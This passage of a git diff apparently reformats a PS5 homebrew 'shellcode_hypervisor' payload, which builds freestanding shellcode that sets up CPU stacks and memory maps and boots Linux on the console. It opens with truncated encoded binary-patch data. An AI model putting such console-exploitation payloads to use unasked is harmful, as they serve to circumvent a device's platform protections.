zC)+>l1Q*EDrS>qXGV*S>-^0WY^0wbTCQzHWdLP*Q`TLl_mE5NNOrRFU_Uc1SF(AiX zKg@IpM9)0R1a3J#IL5REq(4c&Y)0Pc z>DQS`8F{zgxy}R{{hR*mCev<4-t7x-L9(yJ9i|>3-rX}kKfLkoUPawg6~O{%e$TDE;!n^$KPX` z$|%Gey0Cdxd#&Z{fZ)*AQanrJc(=1WV0r*@_LGN9J|I^aJZ72?Dq{l96|N;4>yWP!RUNV44OhC|@$gfbwbMYjBmao$no!49Fy{_e|1^ zywhFZgG=lA@0r9HdADzU&lCqzEc}TH)V7=6_nFCsk$3u~&mdd37k*&^^-QO4`Nq`9 z$UEKiJ1A(Tulmm925NPGXR_ktJ;W8y&a~8&ce>#Za6RAqgQ=O3ce}t(rYw-9Rlk@( z;~8wfna+XAq2ElPCSA=RaMVBk1E~^N|A7mRIsceI10iDnnLrKwzW*Q>Ox0!H$H+VN zHFFvx@AN=M=9i4T+pUM&9jtvdq>X#Vh5&eq@nnE)(Jnd|Q1?=QQ_|zk3olsFhyn;GNzj z&kX8*8Y?ibV&vU^SAp4v(VUmnHApngc4qMdc{nyk~#vU47R#H`h3Ink6rHKkxLd>dX-!A8Igz zW}&8E)MN%VJsP!`#Tj|0&(LDlX5`&|SPL9h+r4y{>p=m3QlB|rkk?uKWbzBvsUBSm z(q~Qk{D615y8*Kgs6k-B3@U$i7%+oMmgyo!%%J8ypD{D2O71mgHsa)s|G)Ul$>$!t z+m9JDg9`HLOs3558F{yVG-dt)is6?Q%uhhxJ8Q)}gOPW8sx>oc4rew8^_s$&K}~U^2xdP}Q#^thRD0}+U@m6l-L4^sQO3eCjPm4wu5*3^JL~tpmJ?y8YpXQ z4^C(P#mK`OnIpA-ant|d1Q@Z?ETY8ZS1_$>*|;lK*LIP%+id!+jrJ6&jMxt;0EUTptSI* zi8&4A*N9fIs)|--c}Cvp(_5MK8F{B4Yh^wRN=tF_rFfQo;xq17m z4rb6$&UUdbhpb1KLw9n+XWvtOUIcRL^tMId@OiO_*@jVpx5-<@D);1OhGlG;RbL!T zY903^zcF~Q(QS)G*5#_5ywjbQfLynI{Ssz&kYl$k17*hT4$GNA-OcIBtC+tr@=ljr z%?zp@Caz`%jo{r|4RYi3@--kgO_y5B>?p-6(0)DkL(!V+X{(*myyd2PRV`&W^nOv@ zQ{L^xYneeKo!d98V?Gb^Y5hiKP)l}t^CpmMx3Am8TmrIKX)7ohPrtmC*?^IEI`cN> zTcE;q8}kQ{s_3@%xz_L0T3Z02eue2SKqpJ^UbZ zI3w@&bqAS$fh1QPW=;|3ZIg(LZVkMlvg^^BzjD`B9N~2>dR)xAUEv5bsJk$|^(eS( zSaFnDmXUY+(WA_u`N!%1k28Z>+6Pa7%Qv%=%$AJ2)ALV)O0wx4Cz*>tg~~~=Wr3%d zD?yf>It}vn_Ft!&!F~U#v&^7TTZMDX7L2^pBhE3O7Up&D`K~N-ZSK1|Pe(P8#OzpU z-t8vmnZd)6H!gtUWxMJ{W`B@jC6}13gn2E$Xr1w$@=e5oV|tn0!>a9WyxaF*Vg^ll zZCAg-JP#BVN3Su9gUZi4x0peFd-dDQZlK`Fy~7NeV4ptkE+{Qb*SN=giHq0vsE66I zWryr|r!(CLN5-!E%(-m5EsQ2Nc(-dmV4exG`N%_NFGk+&e2*YmGyXBy!0Ah$fa~%b zPnbd7Pp+rT;3oRbXUv=+O^=>~VE)gN`6ak9a_1HEbdb*CH_V_;s=!<3MW9r&={+-O+>8AKa~31-_QDU~l5>0G zN9KHxuReTYE(Liu^*gw-aQXo%&bJqUC{PLUlNmHLv*RZ-sBd`(!u$4FOjgfczTt*fTkPDu&vVh7N7B&`tX5LKR?ICO|${-h(v$I?QMT<8V3%E&h ziJJv90FchZ0%`(j^Ro1T$}nCQP``Qmc|I0lkm5%IEV3Zm{|mB6iSV+!Jnl(4pJB>!UCEedN0BPs+N*OSwNG|+t-P+fJQv0UzT72 zwfZb2SwPM5C6X*h#CiMcGWwGWI$lg|XfX8Y&)6RP;yJ4h@Ag_L7SIghbYWQ*P=ol6 zEDLDW!*n5e7EqNlQ=SDp9Di4lKDb)cY8 zW6=Nw!BKS<(7gZl3{93Bppwl&mnEN(cl&x>mfIlDb{Vi#f@o%A78wvNZwd(vQ!|zu zAnm*sELx1Byuy=LChBg~?@DyovvgI#vbOhc&+|_AvSfM6$U9x%ie)+@@AhL>EXzSA zf-5zSsqRGg~YaXq+RAy3N%*c!;%O}#B2RnKrNAaf0n(Bywhz0SgII# zw{HtzIRNrsSrE$~ka0yJETG}!`ynhEAU*8iETEYvr*M`+M&9k4!@+Kt&L7DFYQLF8 zvMgp~<+aZLz&rg`6bqF{)F+F*IE+9TYRud(&CwGxBcN$zTDuv*%^9fVw+7Gg*=udAG}C zu`C4*6CKQD0p}3&d=}7jYe+uJLq^{1rUfjaAWwA_vVcpaPem-8Od`AoJ2Jl6#Ls?j z-gB`uqpFvEo<8q%-clAlM&9k#r7TV$ht`&}NHFqlpIXjR#i+u&WS+xh{qJvhKd%pU zs=D9!SfJl<^|X5*kEqwCvGzJ>emCIZoo-Oc0%}!CSFwNxsLoV_1B|@}92}2pSX=~n zC+|^9Jof)>Fympb4#}Uq+f8d(f*HAa@4Vk37?7uT)tYzu#5$HOpuSu^3us{Scs-dlogQJIFRQsSlS zVl{1@Zlqn}oo?600;;N}wy~TAg#I!oJ+O=UR9tE)DnaA9OIbjzhV8$Wu~>l8tkFuAD3CoptH6cZ>s2hEdG+aqYgj<@!3Jwt z#ASI;Pg`|Y-;k?hX|q&pU(1}W^Qt;p*PKpVBipuycYD%W7SLjl>5JB}#Dd1z*0HdF z3LNH5ET9P|hfOS?T6)tauwPj>v*?1t*=P&P4v?j5sR8OHse=EZaf##ts&6U0=5olzyh|VlkHEUF}%9 zQgZFB?8u76zu24n_RX0lf4usEYR1kN4|I5^`|o1uVdUL@dlw`J^6z2kWaQmGV-E{x zLCN&_d%>CF>|PdmP>8(Q&jKER(m%)onn_%LkVTAT%*BOW(2B*v9 z!(i`SJ*PO*&|(IYS}uSce?W#kbkG2Kf|({k#~C6 zSr!*Y-tFhkvP@v)=1oZ8aGes_UZcsoJ^egOG047K7g)TQc~9_8SG~vr8VXo_kp(>K zD0!I$G=x31zeLT)%ohH0CH~ja$Y$eZw7=6ws=NyDXq#p`yDi z6@0vp?`35i)Z0{bIAxbD@APkXSwP+SuzM`mK{GtM_aP3O{eT6u2BGUAD1T00_mBnD z&$#;#TrqBZ#PWfWclyG|EN;xag}mEeJZ8}cIZ6B}OOGh;&qME3f7dKKkd>)paf|JU z!A({k-s#((f=gt}XOOBp?m5dBM&9i~FCc~Flvga-QoIv)K1x;Lt)I2V_Q&bK#)liq zWI{7T?4>(-w~M`o6y!VKuz)&V-`}uI;^ciGzHx>fM&eJAD}kD=4)b>*sEN_+P`|ZEktZWA<&ybqf}r7x3nt-p|Jh8lhL?XH^9aAMms4GV*S( z;AedYirq9pR?xbP9zj+|CLvz=Oa_x?UO`VwHcXt zZ}LvxC&mg&xR&A|e@yQZX9cC9o#L#Z2IhJR)@Vi!-W%NA$!Si!+XbXpL5-2=Inu0d z0=zF~bM0CYbauk4`##KFI=s^lNV9?_WG!V_|ACfv$g+YuoYP(9Sl=@8PB)Tg1$DJ$ z6j&7*dAHjtux5i?yF!uGos;*r=Mz7ss@1&HzbUeU8kV6-ta6|%RjkGeDy{yjv4R#W zZU3afngY@kro{>xDY>M@+9A$+`fC3vmu!(9cD}Qvf~g)M(m^HXEqS-+YqNrf>z3)T zf<`;GZ_{N3&oId9vw{|iPH!?|4ddtCaL(rPo{R}fTv^3Rn|Y@{HDa|E3|Le#q z0Wwz9nUxttOSrJgfs8kEWd*gE_qwu{fP@X*Srb9RlRQ{Kt-7-wtd5{Ql_zTzNVda^ z6`XrEd9xmt;(aAgOzpqAJQA68JW%G{S# z6EsQT%bE@H!D)YRoVW+Df@UO(16U0}7A_8Cz0AnFy)1~8mrX{pV=C|T8NsZe-t5I-R?rOUgb-HHy5Q~G!&sd_M*IwCJ;lRY_x{&ZsdqCM zcQ4|del~&?v^Gp6k`+{rtc?Ua$0mx^7&LYp#rhVcD<*~&RP)!zu%=7$`tq2Y-}7hBq-XwmzpF?Mcb3;2EN=DXgGD8>LiMP*t)ZmGvuVh%${8)Ueu_#;Oep#U~l83*~uT zBfo?(TC7Uy-JLpV>Km6gvqZgraIv2MaEtFv#WmjPi!xb3ll?+jprD>^m&N)RH1V9x z3aXB`Tjj7CgNn1DWj(4|K`JM7P$vg2$(1|^#4nLe2U9&5cclv`? zP#G|tv5hqiG?w4S3R-DB{Yg8>Bh!y}fFfbLQ70?7F;&zBDo(d=>S6_VSBiRAK`s30 z$9q{pUCz`#)=fOT9xqsrofgp+&Zy^|uGr6-!O8nB_R-~plq%lo6Z%q0G&KHuI_oS@oX%hc%~c!BWCiV}*d8*A z6+ENeJqPUTHFLnF_Qg4@pqcXhb6G)?i2?IiuY#t0=Cgu(HM1A6<}vb4=Um8omXUY+ zwS}yHpnR&bm=&~cV0zF}R?yr+$x_xCAYq>6tl%nf(+W^LZU41`6*S~B-C-4Lj0mr; z-PG!o=smpG6WRVu5`R=}d6IYf+Et*MZ94mEa2C;mP`;~KZ5VmCcdiB}*6nxJu&xG0 zZ~Hn>*i8Svjx_+Zm~=hFs<#_hy%~9@TWn;NW8~c)wvkmEW>(OUV!#$~kWJbGPQClKu&(0g{dlNh9-qkG)vq7@ zI4#S&y>u%pxS_IS8@NXLx{Vbyx_fpz*z)bgJ6XZ&i*k0ef>t7I@7n{RH|%A7!6?N0 zr?KPzZeO~?V(^Pr4yko7ks?{>LEtP2?hdD&n0uuV#y zG4}`a=SN{5BzdQwJIo4N!?W!Or~sXAdz5t_XnE36)Zpx5C4j>^H7>Wmtdbt+C>r zzWxF$sLB8D0=QI_yvVwpk$3rpi{LzW;Swl{wrgExodgQmJy%%GnV5NB@=pJ94IIff z*IA`N_qxRjT2wgs7ArfW5U;;~K!jlIkC>kYH|(SmRmFI> zue!~u2J*;-yR2Ry{ZbED4}m60AF%Fc6yZ%@-^DUhEZ1w@)T04+jea_Goadds_7Nx` zwwpX=RRE=jkSCzhaQc-e;9~2?6V}rp_Z@!53Yw?ie&so6D9y{qqI7%J zsZ;vK>i3Q}cfaB~bD~zR=)NJpHShHL&#a)Xv+);jsUh~2wG%Xu{}ogkO;`NJD$K|` z-Q*i9XnAD+H&#$1e*53=tl+?9`pF8K<5WMs*HlXg0I$0*!<_%XBp9%KBDPu zywg96umwu+K79Nz&F{qi2&GR-l^>4Y3;f^onBDO_@AN29w$F^b(|yI*K+`oVmk;L^HgR7t<^~$W)MKj#)m7w<*KYtsJ zTsZz`1Ml=X7Hps;k(!olpmyCxOEys5dDfCm0yHA<)P_xik#{<;EgPs5jj&|{jmf^X zWt+mtJH6444b)0_XU7Iw2@+t>2Ac5ev1bG2pbiH%(Bc6tM>f!a=UYd%QVCwh9T^>r z^1rHDba%%4SRL_6`FqTo*M)a_xf7ccAFrg;4&8;eM-IfzT3N_D{iqW-P`I4gK!YzS z&TOFRZBZAnV3Z5nYH8j~>D=U{Dix9jT~qy@au#nFVozqUbZ0o^$va)nl?~MD=yPQQ zHP(*1g8dib#-_;2yX^VaWga&}g(Udxd8aqHfqiw_jSV#V{nU*Ol)GlQv&{oVijtoWVC0=H8_0G9 zv~V?$4YWXFyL<>6XkpQGmN2&epqZU;wmL@M?Tz7Vt)PO1EfSJWxTDxW?bKOOY+v|! z4L<7jWiI@(^6cy`BL?2-v!mI%K?|2+*qj-8w`az%C4gLaGL{Xr{4q6-4KzjgJ&q03 zqST6KTMLrBp1=lLciEW;&g1+^Y~ae>IGOD;DBY>0vsr@@X<{ZDc>eErHXCRWesd0+ z4I@9V5`)a%`tT=bZ=Lh!y~?}&bS@icNP2o+J{zbXc`2U_w6apKfDP0t&o5vDFP@xP z#0F~VY=2kGrT{8a`O4TpQ@}B0U}x}^vw>DG#Fc|m()PA;uxqBTs$c`H`gm8t23lLM zTFC|;DV|it2I^IuuL5WNKUHj?88^>ru%%0@*+6seDm9?;Y`S+1D9ukVtYHJKy<1(w zCJyrXp;~YP4X*=7f^^3$~w?3ww4K)3CrJZdrC-1z*Q@zVCd-G18(ZL34PTlGN zN4{Yv8)(YvdMBHcG;cuA^uJB*TW8N=ozEV&M*C)?oo(9-Q>XdPyxWbs*uX{izHU%a zFrB4`4b-yw)C2Owbe&$dX^gzn5B0LyG4gKfW6J==R>nj~63Ly!1{$@Noy=y>%*?x( zcYEwKHa$i`UWt&#ZO^l}`)c+5v_1d*B=7cF)7ijlpkijS$$-|%Rm=kycb4a9c~2XDzA~G4df!U6)r`E`EmyIDI<3<^SF?e}9y!*qftLL_uVDi(0E%DBCdb38 zp&b>Qa$34?*#h3_?Q7XUgG0~PvVppaee1xXcwrqlV~ef_hlBrmaB6N^&jy~SJiLMJ zzc}w5!F}tOMr42K;)*!D?fLiGc$syJ8hN*0-^d2qZZrMUCN|JIxR}js$?UwFOWL1T z@J>In8C(XXZDBjd$?JF4I){12BHr!RTiHOpg6VGCK?UvhdE42*eYXcY*g&)F`**Uv zW#rwyW)~Y9Xvg68O?%kDeTQRv*+2ua_WRg^K!G*!02`>Ym~xQq4I@7T>?dzcNhq~rNvwnWe(gd?DU+0K5HEeVuDGmn8iE^r*AX8SA<#mKu|z9+y93fKbB+x({xSU=+fC3Gi}P%A zL51@Lw$qHf+izT8^8ppvDp$Y}bN&jOC=&~>(pui>&#tk7#sZ_Rvw@bC?!C?iYV^&% z!Da?he(^S_w%G1`hYhqzcDutpHt-6}%lE-0_p}G#YV&x`D@J}kbUSHA8v@Ale7Jj!Mb7k3V4re-W}C>!yL}Fb zV&t8!`;`r}v^nuB8)$`$`ZqQQ4qgk9r;W8!d8g-oV*?FOt9*xK%nd(4)!+0pKfnb+ z)=xGSM&9XtKfwj5$S-iMKfT~L8>qKE;Wry-CE)wtY=)A&;dk@eylWb6eB*t*H1hD3 zyrn^#wAu7Rd8eEGVY3zERhX7&`X*PTK`4Ts;lkYXDWQ+vXz*@t|HB3zKUnvV4b&l? ze*8ZhsJHa;KO_oj7}-Iyk&hVJYZ-Z`$1|~i=HT6JbY|kb_q^L9nAztu@$lB1b!7d0 zlzT#>ChvAeHg@nHy$lX^(0U+OPIk~b+-gqt21efLzd6}Kg;+5cJ7`F23K#n!P~3;{ zv401(wD{RUJ-d7S?7LWaGY|1@pC!N!-k|VZkR7x_bD0pkh8XX@fHePystQZmH!i7X zS|C`bmfQS|clskCc2F}=T$mlyte&nR!k!8mXcS=wH9`K1uy17K-M>eE}%-28gpe zu<~X}S@CY4EY1$vr9Az$1Usl6YnNmPjpS{UWCu<8zmsGKHJek0E# zbX;+c+3L}JDcI!At2fW)I`VFRufY!L3Qm{OVxK3-JI^xiyqLZM$BTcf6i)rx%{%?L z7CWeb%F|{CZTB(PVF%^3D?03;HjaQUJ81vkJYDuM&>CM|cF=|b4?VEk8}!&g>m)7p z*+GM5v-Q~(8AW)X6u4i0;a4np?eYA|1D-yt0V=%P&l#|T26LysG-3yBt7|c42dx`E zXUq=T0u^V%t^g{e>&)4YgM8^~$9kv^#IPHTy!)T$2quXo_sQs2w|~vI@6j?-k%JVtjhde0t;373(J6 zu%5v?{gWL#Xn5zjJv(TjWWNJDXhH842lhCS#YRr-pl#>V-#fE|dY5Zm!0wq|;s!eB zVY{R|yC;(}?+$Ha*~!<=-QE$EAflt0U&(jP*z5JFEe%nPUyqCF+3Bq2o!;!p{+5q7 z>wZVTlFsliA)yK_yxVKM*jIr(spiMd0UAQp3t|VYo7^144r=Lq3t|Tk4%mdSgC^uy zLfOG>3zcwiFvo!+q1-Fd@hp<2sSzlkUAFFR4oJG~&D9W<&vH=Z3l z40JbvJ(7j@Ydi0Bi$r!%2VEhF9W)p8JPDK&x2GqwFJ)on{e4fBcRPOuI}0e$3g@tc z20y2_=dyz~rD*4|7k~nPc0T)4kZT)?L2)wuXfZozT2-)w9W=5(wS--bjrV3obp`MA z{Uz+SjJ(_bl(2)&1DGyW23D9<#(qtR*C^EP&J)*19(?ztUmRX~zLa;nM>#uag~j&s z73@Wz%FMBv9W>f8rJ5boGc>7T2Q58KuVKH%$UEJ!mK`*cxuO9K7q|W*k}|%R7BpH@L`>>tXL@e=irj1s)8|DUC6cS7Dspi`#%8ryuyG0 diff --git a/shellcode_hypervisor/Makefile b/shellcode_hypervisor/Makefile index 6640141..f7aef28 100644 --- a/shellcode_hypervisor/Makefile +++ b/shellcode_hypervisor/Makefile @@ -1,39 +1,39 @@ -ifndef PS5_PAYLOAD_SDK - PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/ -endif - -# 1. Variables -ifeq ($(shell uname -m),aarch64) -CC = x86_64-linux-gnu-gcc -LD = x86_64-linux-gnu-ld -OBJCOPY = x86_64-linux-gnu-objcopy -else -CC = gcc -LD = ld -OBJCOPY = objcopy -endif -CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -m64 -I$(PS5_PAYLOAD_SDK)/target/include -LDFLAGS = -T linker.ld -TARGET = shellcode_hypervisor.elf -TEXT_BIN = shellcode_hypervisor.bin -dump = shellcode_hypervisor.h - -SRC = main.c utils.c boot_linux.c -OBJ = $(SRC:.c=.o) - -all: $(dump) - -$(TARGET): $(OBJ) - $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET) - -%.o: %.c - $(CC) $(CFLAGS) -c $< -o $@ - -$(TEXT_BIN): $(TARGET) - $(OBJCOPY) -O binary -j .shell_code $(TARGET) $(TEXT_BIN) - -clean: - rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump) - -$(dump): $(TEXT_BIN) - python3 bin_to_c_hypervisor.py $(TEXT_BIN) \ No newline at end of file +ifndef PS5_PAYLOAD_SDK + PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/ +endif + +# 1. Variables +ifeq ($(shell uname -m),aarch64) +CC = x86_64-linux-gnu-gcc +LD = x86_64-linux-gnu-ld +OBJCOPY = x86_64-linux-gnu-objcopy +else +CC = gcc +LD = ld +OBJCOPY = objcopy +endif +CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -m64 -I$(PS5_PAYLOAD_SDK)/target/include +LDFLAGS = -T linker.ld +TARGET = shellcode_hypervisor.elf +TEXT_BIN = shellcode_hypervisor.bin +dump = shellcode_hypervisor.h + +SRC = main.c utils.c boot_linux.c +OBJ = $(SRC:.c=.o) + +all: $(dump) + +$(TARGET): $(OBJ) + $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET) + +%.o: %.c + $(CC) $(CFLAGS) -c $< -o $@ + +$(TEXT_BIN): $(TARGET) + $(OBJCOPY) -O binary -j .shell_code $(TARGET) $(TEXT_BIN) + +clean: + rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump) + +$(dump): $(TEXT_BIN) + python3 bin_to_c_hypervisor.py $(TEXT_BIN) diff --git a/shellcode_hypervisor/bin_to_c_hypervisor.py b/shellcode_hypervisor/bin_to_c_hypervisor.py index bb38d9c..42e2265 100644 --- a/shellcode_hypervisor/bin_to_c_hypervisor.py +++ b/shellcode_hypervisor/bin_to_c_hypervisor.py @@ -1,46 +1,46 @@ -import sys -import os - -def create_shellcode_header(input_file): - if not os.path.exists(input_file): - print(f"Error: {input_file} not found.") - return - - # Read binary data_text - with open(input_file, "rb") as f: - data_text = f.read() - - # Hardcoded output name - output_name = "shellcode_hypervisor.h" - array_name = "shellcode_hypervisor" - - with open(output_name, "w") as f: - f.write(f"// Generated from {input_file}\n") - f.write(f"#ifndef SHELLCODE_HV_H\n") - f.write(f"#define SHELLCODE_HV_H\n\n") - f.write(f"#include \n\n") - - f.write(f"uint8_t {array_name}[] = {{\n ") - - for i, byte in enumerate(data_text): - f.write(f"0x{byte:02X}") - - if i < len(data_text) - 1: - f.write(", ") - - # New line every 12 bytes - if (i + 1) % 12 == 0: - f.write("\n ") - - f.write(f"\n}};\n\n") - f.write(f"uint64_t {array_name}_len = {len(data_text)};\n\n") - - f.write(f"#endif // SHELLCODE_HV_H\n") - - print(f"Done! Created {output_name} ({len(data_text)} bytes)") - -if __name__ == "__main__": - if len(sys.argv) < 2: - print("Usage: python bin_to_c_hypervisor.py ") - else: - create_shellcode_header(sys.argv[1]) \ No newline at end of file +import sys +import os + +def create_shellcode_header(input_file): + if not os.path.exists(input_file): + print(f"Error: {input_file} not found.") + return + + # Read binary data_text + with open(input_file, "rb") as f: + data_text = f.read() + + # Hardcoded output name + output_name = "shellcode_hypervisor.h" + array_name = "shellcode_hypervisor" + + with open(output_name, "w") as f: + f.write(f"// Generated from {input_file}\n") + f.write(f"#ifndef SHELLCODE_HV_H\n") + f.write(f"#define SHELLCODE_HV_H\n\n") + f.write(f"#include \n\n") + + f.write(f"uint8_t {array_name}[] = {{\n ") + + for i, byte in enumerate(data_text): + f.write(f"0x{byte:02X}") + + if i < len(data_text) - 1: + f.write(", ") + + # New line every 12 bytes + if (i + 1) % 12 == 0: + f.write("\n ") + + f.write(f"\n}};\n\n") + f.write(f"uint64_t {array_name}_len = {len(data_text)};\n\n") + + f.write(f"#endif // SHELLCODE_HV_H\n") + + print(f"Done! Created {output_name} ({len(data_text)} bytes)") + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python bin_to_c_hypervisor.py ") + else: + create_shellcode_header(sys.argv[1]) diff --git a/shellcode_hypervisor/boot_linux.c b/shellcode_hypervisor/boot_linux.c index 6050400..d1f49f2 100644 --- a/shellcode_hypervisor/boot_linux.c +++ b/shellcode_hypervisor/boot_linux.c @@ -94,8 +94,7 @@ static void e820_memory_setup(struct boot_params *bp) { if (info.kit_type != KIT_DEVKIT) { append_e820_table(bp, 0x470000000, 0x47f300000, E820_TYPE_RAM); append_e820_table(bp, 0x47f300000, 0x480000000, E820_TYPE_RESERVED); - } - else { + } else { append_e820_table(bp, 0x470000000, 0x87f300000, E820_TYPE_RAM); append_e820_table(bp, 0x87f300000, 0x880000000, E820_TYPE_RESERVED); } @@ -133,7 +132,6 @@ void boot_linux(void) { memcpy((void *)kernel_pa, (void *)(info.bzimage + setup_size), kernel_size); - void (*startup_64)(uint64_t physaddr, struct boot_params *bp) = (void *)(kernel_pa + 0x200); startup_64(kernel_pa, bp); diff --git a/shellcode_hypervisor/boot_linux.h b/shellcode_hypervisor/boot_linux.h index a98a65b..1ec29f6 100644 --- a/shellcode_hypervisor/boot_linux.h +++ b/shellcode_hypervisor/boot_linux.h @@ -1,52 +1,48 @@ - -#define MSR_EFER 0xc0000080 -#define EFER_SVM (1ULL << 12) // Bit 12: Secure Virtual Machine Enable - -// // Virtual Machine Control Register (VM_CR) -#define MSR_VM_CR 0xc0010114 -#define VM_CR_R_INIT (1ULL << 1) // Bit 1: Intercept INIT - -// // MTRRs (Memory Type Range Registers) -#define MSR_MTRR4kBase 0x00000268 -#define MSR_MTRRVarBase 0x00000200 - -#define VRAM_BASE (0x470000000 - info.vram_size) - -#define FB_BASE 0xf400000000 - -#define ACPI_RSDP_ADDRESS 0x7fd8e014 - -#define AMDGPU_MMIO_BASE 0xe0600000 - -#define RCC_CONFIG_MEMSIZE 0x378c - -#define GCMC_VM_FB_OFFSET 0xa5ac -#define GCMC_VM_LOCAL_HBM_ADDRESS_START 0xa5d4 -#define GCMC_VM_LOCAL_HBM_ADDRESS_END 0xa5d8 -#define GCMC_VM_FB_LOCATION_BASE 0xa600 -#define GCMC_VM_FB_LOCATION_TOP 0xa604 - -#define MMMC_VM_FB_OFFSET 0x6a15c -#define MMMC_VM_LOCAL_HBM_ADDRESS_START 0x6a184 -#define MMMC_VM_LOCAL_HBM_ADDRESS_END 0x6a188 -#define MMMC_VM_FB_LOCATION_BASE 0x6a1b0 -#define MMMC_VM_FB_LOCATION_TOP 0x6a1b4 - -#define MMHUBBUB_WHITELIST_BASE_ADDR_0 0x24850 -#define MMHUBBUB_WHITELIST_TOP_ADDR_0 0x24854 -#define DCHUBBUB_WHITELIST_BASE_ADDR_0 0x24878 -#define DCHUBBUB_WHITELIST_TOP_ADDR_0 0x2487c - -#define AMDIOMMU_MMIO_BASE 0xfdd80000 -#define AMDIOMMU_CTRL 0x18 - -#define MAXCPU 16 - -void entry(void); -void boot_linux(void); - -enum kit_type { - KIT_RETAIL, - KIT_TESTKIT, - KIT_DEVKIT -}; \ No newline at end of file + +#define MSR_EFER 0xc0000080 +#define EFER_SVM (1ULL << 12) // Bit 12: Secure Virtual Machine Enable + +// // Virtual Machine Control Register (VM_CR) +#define MSR_VM_CR 0xc0010114 +#define VM_CR_R_INIT (1ULL << 1) // Bit 1: Intercept INIT + +// // MTRRs (Memory Type Range Registers) +#define MSR_MTRR4kBase 0x00000268 +#define MSR_MTRRVarBase 0x00000200 + +#define VRAM_BASE (0x470000000 - info.vram_size) + +#define FB_BASE 0xf400000000 + +#define ACPI_RSDP_ADDRESS 0x7fd8e014 + +#define AMDGPU_MMIO_BASE 0xe0600000 + +#define RCC_CONFIG_MEMSIZE 0x378c + +#define GCMC_VM_FB_OFFSET 0xa5ac +#define GCMC_VM_LOCAL_HBM_ADDRESS_START 0xa5d4 +#define GCMC_VM_LOCAL_HBM_ADDRESS_END 0xa5d8 +#define GCMC_VM_FB_LOCATION_BASE 0xa600 +#define GCMC_VM_FB_LOCATION_TOP 0xa604 + +#define MMMC_VM_FB_OFFSET 0x6a15c +#define MMMC_VM_LOCAL_HBM_ADDRESS_START 0x6a184 +#define MMMC_VM_LOCAL_HBM_ADDRESS_END 0x6a188 +#define MMMC_VM_FB_LOCATION_BASE 0x6a1b0 +#define MMMC_VM_FB_LOCATION_TOP 0x6a1b4 + +#define MMHUBBUB_WHITELIST_BASE_ADDR_0 0x24850 +#define MMHUBBUB_WHITELIST_TOP_ADDR_0 0x24854 +#define DCHUBBUB_WHITELIST_BASE_ADDR_0 0x24878 +#define DCHUBBUB_WHITELIST_TOP_ADDR_0 0x2487c + +#define AMDIOMMU_MMIO_BASE 0xfdd80000 +#define AMDIOMMU_CTRL 0x18 + +#define MAXCPU 16 + +void entry(void); +void boot_linux(void); + +enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT }; diff --git a/shellcode_hypervisor/linker.ld b/shellcode_hypervisor/linker.ld index c24a121..611bd59 100644 --- a/shellcode_hypervisor/linker.ld +++ b/shellcode_hypervisor/linker.ld @@ -1,18 +1,18 @@ -/* linker.ld */ -ENTRY(main) - -SECTIONS -{ - . = 0x1000; /* 0x1000 to avoid warnings from linker */ - /* Place our custom header first */ - .shell_code : - { - *(.entry_point) - *(.text) - *(.text.*) - *(.data*) - *(.rodata*) - *(.bss) - *(.bss.*) - } -} \ No newline at end of file +/* linker.ld */ +ENTRY(main) + +SECTIONS +{ + . = 0x1000; /* 0x1000 to avoid warnings from linker */ + /* Place our custom header first */ + .shell_code : + { + *(.entry_point) + *(.text) + *(.text.*) + *(.data*) + *(.rodata*) + *(.bss) + *(.bss.*) + } +} diff --git a/shellcode_hypervisor/main.c b/shellcode_hypervisor/main.c index 7274ff2..5f7a8c9 100644 --- a/shellcode_hypervisor/main.c +++ b/shellcode_hypervisor/main.c @@ -1,33 +1,33 @@ -#include -#include "main.h" -#include "../include/config.h" -#include "boot_linux.h" -#include "utils.h" - -__attribute__((section(".entry_point"), naked)) uint32_t main(void) { - - // We enter this function after CR3 was updated to 1:1 mapping - // We need to point RSP/RBP to a good known valid address - uint32_t ebax, ebx, ecx, edx; - uint32_t cpu_id; - - __asm__ volatile("cpuid" - : "=a"(ebax), "=b"(ebx), "=c"(ecx), "=d"(edx) - : "a"(1)); - - cpu_id = (ebx >> 24) & 0xFF; - - // We point to a location after the main linux boot code - // Each CPU should have a different location - uintptr_t new_rsp = - (uintptr_t)hv_base_rsp + ((uint64_t)(cpu_id)*hv_stack_size); - - // WARNING: This invalidates current local variables - __asm__ volatile("movq %0, %%rsp \n\t" - "movq %%rsp, %%rbp \n\t" - : - : "r"(new_rsp) - : "rbp", "memory"); - - entry(); -} \ No newline at end of file +#include "main.h" +#include "../include/config.h" +#include "boot_linux.h" +#include "utils.h" +#include + +__attribute__((section(".entry_point"), naked)) uint32_t main(void) { + + // We enter this function after CR3 was updated to 1:1 mapping + // We need to point RSP/RBP to a good known valid address + uint32_t ebax, ebx, ecx, edx; + uint32_t cpu_id; + + __asm__ volatile("cpuid" + : "=a"(ebax), "=b"(ebx), "=c"(ecx), "=d"(edx) + : "a"(1)); + + cpu_id = (ebx >> 24) & 0xFF; + + // We point to a location after the main linux boot code + // Each CPU should have a different location + uintptr_t new_rsp = + (uintptr_t)hv_base_rsp + ((uint64_t)(cpu_id)*hv_stack_size); + + // WARNING: This invalidates current local variables + __asm__ volatile("movq %0, %%rsp \n\t" + "movq %%rsp, %%rbp \n\t" + : + : "r"(new_rsp) + : "rbp", "memory"); + + entry(); +} diff --git a/shellcode_hypervisor/main.h b/shellcode_hypervisor/main.h index 34e7b5b..bfedeaa 100644 --- a/shellcode_hypervisor/main.h +++ b/shellcode_hypervisor/main.h @@ -1,3 +1,3 @@ -#include "shellcode_hypervisor_args.h" -#include -#include +#include "shellcode_hypervisor_args.h" +#include +#include diff --git a/shellcode_hypervisor/shellcode_hypervisor_args.h b/shellcode_hypervisor/shellcode_hypervisor_args.h index a3a89e6..aac5ffa 100644 --- a/shellcode_hypervisor/shellcode_hypervisor_args.h +++ b/shellcode_hypervisor/shellcode_hypervisor_args.h @@ -1,9 +1,9 @@ -// This file is shared between kernel shellcode and hypervisor shellcode - -#include - -typedef struct { - uint64_t bzimage_pa; // Already relocated by Kernel shellcode - uint64_t initrd_pa; 